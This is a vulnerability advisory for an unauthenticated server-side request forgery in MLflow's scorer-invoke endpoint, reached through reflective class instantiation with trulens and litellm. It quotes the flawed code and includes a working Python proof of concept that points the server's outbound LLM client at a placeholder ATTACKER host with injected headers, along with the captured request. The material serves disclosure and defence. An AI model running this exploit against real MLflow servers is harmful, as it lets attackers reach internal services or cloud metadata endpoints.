PT-2026-122412
تاريخ النشر
2026-10-23
·
تاريخ التحديث
2026-10-23
الوصف من
CVSS 3.1
6.5
متوسطةالمقاييسAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Summary
MLflow's tracking server exposes
POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).Details
Scorer.model validate json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:python
data = serialized.third party scorer data # attacker JSON
module path = data.get("module") or ""
class name = data.get("class")
if not any(module path == m or module path.startswith(m + ".")
for m in THIRD PARTY SCORER ALLOWED MODULES):
raise MlflowException.invalid parameter value(...)
module = importlib.import module(module path)
scorer class = getattr(module, class name, None) # attribute NOT constrained
...
init kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init kwargs["model"] = data["model"] # attacker model URI
scorer instance = scorer class(**init kwargs) # reflective instantiationThe allowlist (
mlflow/genai/scorers/scorer utils.py:46-51) only gates the import path:python
THIRD PARTY SCORER ALLOWED MODULES = frozenset({
"mlflow.genai.scorers.ragas",
"mlflow.genai.scorers.deepeval",
"mlflow.genai.scorers.trulens",
"mlflow.genai.scorers.phoenix",
})For a
mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):python
backend = ScorerLLMClient(model uri)
if backend.route == "databricks":
return create databricks provider(backend, **kwargs)
if backend.is native:
return create gateway provider(backend, **kwargs)
try:
from trulens.providers.litellm import LiteLLM
litellm model = backend.model name
...
return LiteLLM(model engine=litellm model, **kwargs) # raw attacker kwargs forwardedOnly the
litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM. init forwards api base/api key straight into litellm.completion().- Route:
POST /ajax-api/3.0/mlflow/scorer/invoke→invoke scorer handler(mlflow/server/handlers.py:7026-7098), guarded only by@catch mlflow exception/@ disable if artifacts only— no auth decorator. Scorer.model validate json(serialized scorer)(the vulnerable deserialization) runs synchronously, before any tracking-store lookup orsubmit jobcall.- Precondition: the server venv must have
trulens+trulens-providers-litellminstalled (a documented but optional, not-bundled GenAI-eval setup).
PoC
python
import time
import mlflow
from mlflow import MlflowClient
import requests
TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors
client = MlflowClient(tracking uri=TARGET)
# 1. Anonymous setup: create an experiment and log a trace to obtain a trace id.
exp id = client.create experiment("poc")
mlflow.set tracking uri(TARGET)
mlflow.set experiment(experiment id=exp id)
with mlflow.start span(name="poc-span") as span:
span.set inputs({"q": "hi"})
span.set outputs({"a": "hi"})
trace id = span.request id
# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
# outbound LLM client at the attacker host with an attacker-chosen
# Authorization value (their own canary, not a server secret).
serialized scorer = {
"name": "poc",
"third party scorer data": {
"module": "mlflow.genai.scorers.trulens",
"class": "Coherence",
"metric name": "Coherence",
"model": "openai:/gpt-4o", # routes to the litellm fallback
"kwargs": {
"api base": ATTACKER,
"api key": "ATTACKER-CANARY", # attacker's own value, not a server secret
},
},
}
resp = requests.post(
f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
json={
"experiment id": exp id,
"serialized scorer": import ("json").dumps(serialized scorer),
"trace ids": [trace id],
},
)
print(resp.status code, resp.text)
time.sleep(5) # scorer job runs asynchronously# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...The
POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.Impact
An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional
trulens + trulens-providers-litellm packages installed alongside MLflow. وجدت خطأً في الوصف؟ لديك ما تضيفه؟ لا تتردد في مراسلتنا 👾